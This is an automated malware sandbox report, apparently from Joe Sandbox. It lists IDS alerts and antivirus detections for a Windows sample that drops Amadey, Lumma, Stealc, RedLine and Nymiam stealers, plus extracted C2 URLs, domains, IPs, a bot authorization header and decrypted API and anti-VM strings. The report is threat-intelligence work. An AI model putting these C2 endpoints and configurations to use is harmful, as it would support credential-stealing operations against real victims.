2024-12-23T17:18:16.630765+0100	2044696	1	A Network Trojan was detected	192.168.2.9	49810	185.215.113.43	80	TCP
2024-12-23T17:18:26.619061+0100	2044696	1	A Network Trojan was detected	192.168.2.9	49827	185.215.113.43	80	TCP
2024-12-23T17:18:33.673557+0100	2044696	1	A Network Trojan was detected	192.168.2.9	49839	185.215.113.43	80	TCP

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T17:19:07.274769+0100	2054350	1	A Network Trojan was detected	192.168.2.9	49925	185.121.15.192	80	TCP
2024-12-23T17:19:09.133826+0100	2054350	1	A Network Trojan was detected	192.168.2.9	49939	185.121.15.192	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T17:16:23.062401+0100	2058354	1	Domain Observed Used for C2 Detected	192.168.2.9	58622	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crosshuaht .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T17:16:23.891166+0100	2058358	1	Domain Observed Used for C2 Detected	192.168.2.9	59738	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T17:16:22.561745+0100	2058360	1	Domain Observed Used for C2 Detected	192.168.2.9	61832	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (energyaffai .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T17:16:21.928419+0100	2058362	1	Domain Observed Used for C2 Detected	192.168.2.9	61409	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T17:16:22.327294+0100	2058364	1	Domain Observed Used for C2 Detected	192.168.2.9	55062	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacebudi .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T17:16:22.780697+0100	2058370	1	Domain Observed Used for C2 Detected	192.168.2.9	50607	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (pancakedipyps .click)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T17:16:14.150762+0100	2058397	1	Domain Observed Used for C2 Detected	192.168.2.9	64121	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rapeflowwj .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T17:16:24.129112+0100	2058374	1	Domain Observed Used for C2 Detected	192.168.2.9	50062	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sustainskelet .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T17:16:23.405829+0100	2058376	1	Domain Observed Used for C2 Detected	192.168.2.9	54757	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T17:18:48.449095+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.9	49866	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T17:18:48.237525+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.9	49866	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T17:18:48.776570+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.9	49866	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T17:18:51.423425+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.9	49877	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T17:18:48.956230+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.9	49866	TCP

ET MALWARE [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T17:19:18.631484+0100	2046045	1	A Network Trojan was detected	192.168.2.9	49963	147.45.44.224	1912	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T17:16:21.466682+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.9	49715	172.67.209.202	443	TCP
2024-12-23T17:18:19.017617+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.9	49811	104.21.30.13	443	TCP
2024-12-23T17:18:42.922041+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.9	49858	172.67.209.202	443	TCP
2024-12-23T17:18:50.647481+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.9	49874	172.67.180.113	443	TCP
2024-12-23T17:19:26.897076+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.9	49982	104.21.63.229	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T17:18:46.730422+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.9	49866	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T17:17:50.022428+0100	2856121	1	A Network Trojan was detected	192.168.2.9	49780	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T17:16:04.961191+0100	2856147	1	A Network Trojan was detected	192.168.2.9	49708	185.215.113.16	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T17:16:05.605559+0100	2856122	1	A Network Trojan was detected	185.215.113.16	80	192.168.2.9	49708	TCP
2024-12-23T17:17:48.642807+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.9	49763	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T17:16:06.068256+0100	2803305	3	Unknown Traffic	192.168.2.9	49708	185.215.113.16	80	TCP
2024-12-23T17:16:11.378803+0100	2803305	3	Unknown Traffic	192.168.2.9	49709	185.215.113.16	80	TCP
2024-12-23T17:16:15.438634+0100	2803305	3	Unknown Traffic	192.168.2.9	49711	185.215.113.16	80	TCP
2024-12-23T17:16:22.869665+0100	2803305	3	Unknown Traffic	192.168.2.9	49716	185.166.143.48	443	TCP
2024-12-23T17:16:30.439669+0100	2803305	3	Unknown Traffic	192.168.2.9	49723	185.215.113.16	80	TCP
2024-12-23T17:16:34.181964+0100	2803305	3	Unknown Traffic	192.168.2.9	49727	185.215.113.16	80	TCP
2024-12-23T17:16:42.391558+0100	2803305	3	Unknown Traffic	192.168.2.9	49730	185.215.113.16	80	TCP
2024-12-23T17:16:54.326836+0100	2803305	3	Unknown Traffic	192.168.2.9	49733	31.41.244.11	80	TCP
2024-12-23T17:17:02.170615+0100	2803305	3	Unknown Traffic	192.168.2.9	49735	31.41.244.11	80	TCP
2024-12-23T17:17:14.000389+0100	2803305	3	Unknown Traffic	192.168.2.9	49739	185.215.113.209	80	TCP
2024-12-23T17:17:39.470106+0100	2803305	3	Unknown Traffic	192.168.2.9	49767	31.41.244.11	80	TCP
2024-12-23T17:17:51.567284+0100	2803305	3	Unknown Traffic	192.168.2.9	49782	31.41.244.11	80	TCP
2024-12-23T17:18:00.273308+0100	2803305	3	Unknown Traffic	192.168.2.9	49793	31.41.244.11	80	TCP
2024-12-23T17:18:10.842936+0100	2803305	3	Unknown Traffic	192.168.2.9	49804	31.41.244.11	80	TCP
2024-12-23T17:18:18.261413+0100	2803305	3	Unknown Traffic	192.168.2.9	49812	31.41.244.11	80	TCP
2024-12-23T17:18:35.143066+0100	2803305	3	Unknown Traffic	192.168.2.9	49845	31.41.244.11	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T17:18:53.316362+0100	2803304	3	Unknown Traffic	192.168.2.9	49884	185.215.113.206	80	TCP
2024-12-23T17:19:25.984684+0100	2803304	3	Unknown Traffic	192.168.2.9	49981	185.215.113.206	80	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T17:16:26.795531+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.9	49720	104.121.10.34	443	TCP

Joe Security MALWARE Nymiam - C&C DLL Download Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T17:18:19.798903+0100	1800003	1	Malware Command and Control Activity Detected	192.168.2.9	49814	185.156.73.23	80	TCP
2024-12-23T17:18:48.467522+0100	1800003	1	Malware Command and Control Activity Detected	192.168.2.9	49871	185.156.73.23	80	TCP
2024-12-23T17:18:52.955620+0100	1800003	1	Malware Command and Control Activity Detected	192.168.2.9	49879	185.156.73.23	80	TCP

Joe Security MALWARE Nymiam - C&C DLL Key Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T17:18:19.081482+0100	1800002	1	Malware Command and Control Activity Detected	192.168.2.9	49814	185.156.73.23	80	TCP
2024-12-23T17:18:47.560529+0100	1800002	1	Malware Command and Control Activity Detected	192.168.2.9	49871	185.156.73.23	80	TCP
2024-12-23T17:18:52.317576+0100	1800002	1	Malware Command and Control Activity Detected	192.168.2.9	49879	185.156.73.23	80	TCP

Joe Security MALWARE Nymiam - C&C Files Download Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T17:18:20.950428+0100	1800004	1	Malware Command and Control Activity Detected	192.168.2.9	49814	185.156.73.23	80	TCP
2024-12-23T17:18:26.265458+0100	1800004	1	Malware Command and Control Activity Detected	192.168.2.9	49825	185.156.73.23	80	TCP
2024-12-23T17:18:30.408383+0100	1800004	1	Malware Command and Control Activity Detected	192.168.2.9	49836	185.156.73.23	80	TCP
2024-12-23T17:18:34.298391+0100	1800004	1	Malware Command and Control Activity Detected	192.168.2.9	49842	185.156.73.23	80	TCP
2024-12-23T17:18:38.270217+0100	1800004	1	Malware Command and Control Activity Detected	192.168.2.9	49851	185.156.73.23	80	TCP
2024-12-23T17:18:41.892727+0100	1800004	1	Malware Command and Control Activity Detected	192.168.2.9	49856	185.156.73.23	80	TCP
2024-12-23T17:18:45.773942+0100	1800004	1	Malware Command and Control Activity Detected	192.168.2.9	49863	185.156.73.23	80	TCP
2024-12-23T17:18:49.496461+0100	1800004	1	Malware Command and Control Activity Detected	192.168.2.9	49873	185.156.73.23	80	TCP
2024-12-23T17:18:50.593161+0100	1800004	1	Malware Command and Control Activity Detected	192.168.2.9	49875	185.156.73.23	80	TCP
2024-12-23T17:18:53.086163+0100	1800004	1	Malware Command and Control Activity Detected	192.168.2.9	49883	185.156.73.23	80	TCP
2024-12-23T17:18:53.988502+0100	1800004	1	Malware Command and Control Activity Detected	192.168.2.9	49879	185.156.73.23	80	TCP
2024-12-23T17:18:54.229290+0100	1800004	1	Malware Command and Control Activity Detected	192.168.2.9	49887	185.156.73.23	80	TCP
2024-12-23T17:18:56.645009+0100	1800004	1	Malware Command and Control Activity Detected	192.168.2.9	49890	185.156.73.23	80	TCP
2024-12-23T17:18:57.821669+0100	1800004	1	Malware Command and Control Activity Detected	192.168.2.9	49893	185.156.73.23	80	TCP
2024-12-23T17:18:58.029281+0100	1800004	1	Malware Command and Control Activity Detected	192.168.2.9	49894	185.156.73.23	80	TCP
2024-12-23T17:19:01.590433+0100	1800004	1	Malware Command and Control Activity Detected	192.168.2.9	49908	185.156.73.23	80	TCP
2024-12-23T17:19:01.735045+0100	1800004	1	Malware Command and Control Activity Detected	192.168.2.9	49909	185.156.73.23	80	TCP
2024-12-23T17:19:02.658349+0100	1800004	1	Malware Command and Control Activity Detected	192.168.2.9	49910	185.156.73.23	80	TCP
2024-12-23T17:19:05.940579+0100	1800004	1	Malware Command and Control Activity Detected	192.168.2.9	49920	185.156.73.23	80	TCP
2024-12-23T17:19:06.181278+0100	1800004	1	Malware Command and Control Activity Detected	192.168.2.9	49921	185.156.73.23	80	TCP
2024-12-23T17:19:09.593497+0100	1800004	1	Malware Command and Control Activity Detected	192.168.2.9	49933	185.156.73.23	80	TCP
2024-12-23T17:19:09.721147+0100	1800004	1	Malware Command and Control Activity Detected	192.168.2.9	49937	185.156.73.23	80	TCP
2024-12-23T17:19:13.123275+0100	1800004	1	Malware Command and Control Activity Detected	192.168.2.9	49944	185.156.73.23	80	TCP
2024-12-23T17:19:13.364829+0100	1800004	1	Malware Command and Control Activity Detected	192.168.2.9	49946	185.156.73.23	80	TCP
2024-12-23T17:19:16.965753+0100	1800004	1	Malware Command and Control Activity Detected	192.168.2.9	49956	185.156.73.23	80	TCP
2024-12-23T17:19:18.043954+0100	1800004	1	Malware Command and Control Activity Detected	192.168.2.9	49958	185.156.73.23	80	TCP
2024-12-23T17:19:21.756459+0100	1800004	1	Malware Command and Control Activity Detected	192.168.2.9	49971	185.156.73.23	80	TCP
2024-12-23T17:19:21.810984+0100	1800004	1	Malware Command and Control Activity Detected	192.168.2.9	49972	185.156.73.23	80	TCP
2024-12-23T17:19:25.428976+0100	1800004	1	Malware Command and Control Activity Detected	192.168.2.9	49978	185.156.73.23	80	TCP
2024-12-23T17:19:25.429756+0100	1800004	1	Malware Command and Control Activity Detected	192.168.2.9	49979	185.156.73.23	80	TCP

Joe Security MALWARE Nymiam - C&C Software Download Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T17:19:07.547556+0100	1800005	1	Malware Command and Control Activity Detected	192.168.2.9	49928	185.156.73.23	80	TCP
2024-12-23T17:19:11.022795+0100	1800005	1	Malware Command and Control Activity Detected	192.168.2.9	49938	185.156.73.23	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: fkawMJ7FH8.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\random[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1320706
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\daw21[1].exe	Avira: detection malicious, Label: TR/Crypt.ZPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\random[2].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen

Found malware configuration

Source: 0000001E.00000002.2558773552.0000000000131000.00000040.00000001.01000000.00000012.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 0000001B.00000003.3577894152.00000000016AF000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: LummaC {"C2 url": ["fannleadyn.click", "crosshuaht.lat", "sustainskelet.lat", "rapeflowwj.lat", "grannyejh.lat", "energyaffai.lat", "discokeyus.lat", "aspecteirs.lat", "necklacebudi.lat"], "Build id": "jMw1IE--l3"}
Source: 45.2.I0XmI2t.exe.2b50dd4e5a8.3.raw.unpack	Malware Configuration Extractor: RedLine {"C2 url": ["147.45.44.224:1912"], "Bot Id": "1488Traffer", "Authorization Header": "c74790bd166600f1f665c8ce201776eb"}
Source: daw21.exe.988.23.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "https:/135.181.65.216/ee45b7c5e4cb75cb.php"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\I0XmI2t[1].exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\goldddd123[1].exe	ReversingLabs: Detection: 80%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\random[2].exe	ReversingLabs: Detection: 69%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\SurveillanceWalls[1].exe	ReversingLabs: Detection: 21%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\soft[1]	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\am209[1].exe	ReversingLabs: Detection: 78%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\clip64[1].dll	ReversingLabs: Detection: 91%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\random[2].exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\daw21[1].exe	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\legs[1].exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\random[2].exe	ReversingLabs: Detection: 30%
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	ReversingLabs: Detection: 78%
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	ReversingLabs: Detection: 80%
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	ReversingLabs: Detection: 21%
Source: C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Local\Temp\1020826001\I0XmI2t.exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Temp\1021118001\6d3d2bb3d5.exe	ReversingLabs: Detection: 30%
Source: C:\Users\user\AppData\Local\Temp\1021119001\c12f8f2854.exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Temp\1021124001\7385f65012.exe	ReversingLabs: Detection: 69%
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Temp\VsweF4WV22ueuvrv1eDSCB2tK55F\Y-Cleaner.exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	ReversingLabs: Detection: 78%
Source: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll	ReversingLabs: Detection: 91%
Source: C:\Users\user\AppData\Roaming\nhj43jrxzblOJXQMNIQ\DJj.exe	ReversingLabs: Detection: 87%

Multi AV Scanner detection for submitted file

Source: fkawMJ7FH8.exe

ReversingLabs: Detection: 55%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\daw21[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\am209[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\soft[1]	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\mdjw5me[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: fkawMJ7FH8.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0000001B.00000003.3577894152.00000000016AF000.00000004.00000800.00020000.00000000.sdmp	String decryptor: rapeflowwj.lat
Source: 0000001B.00000003.3577894152.00000000016AF000.00000004.00000800.00020000.00000000.sdmp	String decryptor: crosshuaht.lat
Source: 0000001B.00000003.3577894152.00000000016AF000.00000004.00000800.00020000.00000000.sdmp	String decryptor: sustainskelet.lat
Source: 0000001B.00000003.3577894152.00000000016AF000.00000004.00000800.00020000.00000000.sdmp	String decryptor: aspecteirs.lat
Source: 0000001B.00000003.3577894152.00000000016AF000.00000004.00000800.00020000.00000000.sdmp	String decryptor: energyaffai.lat
Source: 0000001B.00000003.3577894152.00000000016AF000.00000004.00000800.00020000.00000000.sdmp	String decryptor: necklacebudi.lat
Source: 0000001B.00000003.3577894152.00000000016AF000.00000004.00000800.00020000.00000000.sdmp	String decryptor: discokeyus.lat
Source: 0000001B.00000003.3577894152.00000000016AF000.00000004.00000800.00020000.00000000.sdmp	String decryptor: grannyejh.lat
Source: 0000001B.00000003.3577894152.00000000016AF000.00000004.00000800.00020000.00000000.sdmp	String decryptor: fannleadyn.click
Source: 0000001B.00000003.3577894152.00000000016AF000.00000004.00000800.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 0000001B.00000003.3577894152.00000000016AF000.00000004.00000800.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 0000001B.00000003.3577894152.00000000016AF000.00000004.00000800.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 0000001B.00000003.3577894152.00000000016AF000.00000004.00000800.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 0000001B.00000003.3577894152.00000000016AF000.00000004.00000800.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 0000001B.00000003.3577894152.00000000016AF000.00000004.00000800.00020000.00000000.sdmp	String decryptor: jMw1IE--l3
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: 01
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: 03
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: 20
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: 25
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: GetProcAddress
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: LoadLibraryA
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: lstrcatA
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: OpenEventA
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: CreateEventA
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: CloseHandle
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: Sleep
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: VirtualFree
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: GetSystemInfo
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: VirtualAlloc
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: HeapAlloc
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: GetComputerNameA
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: lstrcpyA
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: GetProcessHeap
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: GetCurrentProcess
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: lstrlenA
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: ExitProcess
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: GetSystemTime
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: advapi32.dll
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: gdi32.dll
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: user32.dll
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: crypt32.dll
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: GetUserNameA
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: CreateDCA
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: GetDeviceCaps
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: ReleaseDC
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: sscanf
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: VMwareVMware
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: HAL9TH
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: JohnDoe
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: DISPLAY
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: https://135.181.65.216
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: /ee45b7c5e4cb75cb.php
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: /4a21a126be249f0d/
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: valenciga
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: GetFileAttributesA
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: HeapFree
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: GetFileSize
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: GlobalSize
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: IsWow64Process
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: Process32Next
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: GetLocalTime
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: FreeLibrary
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: GetVolumeInformationA
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: Process32First
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: GetLocaleInfoA
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: GetModuleFileNameA
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: DeleteFileA
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: FindNextFileA
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: LocalFree
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: FindClose
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: LocalAlloc
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: GetFileSizeEx
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: ReadFile
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: SetFilePointer
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: WriteFile
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: CreateFileA
Source: 23.0.daw21.exe.b80000.0.unpack	String decryptor: FindFirstFileA
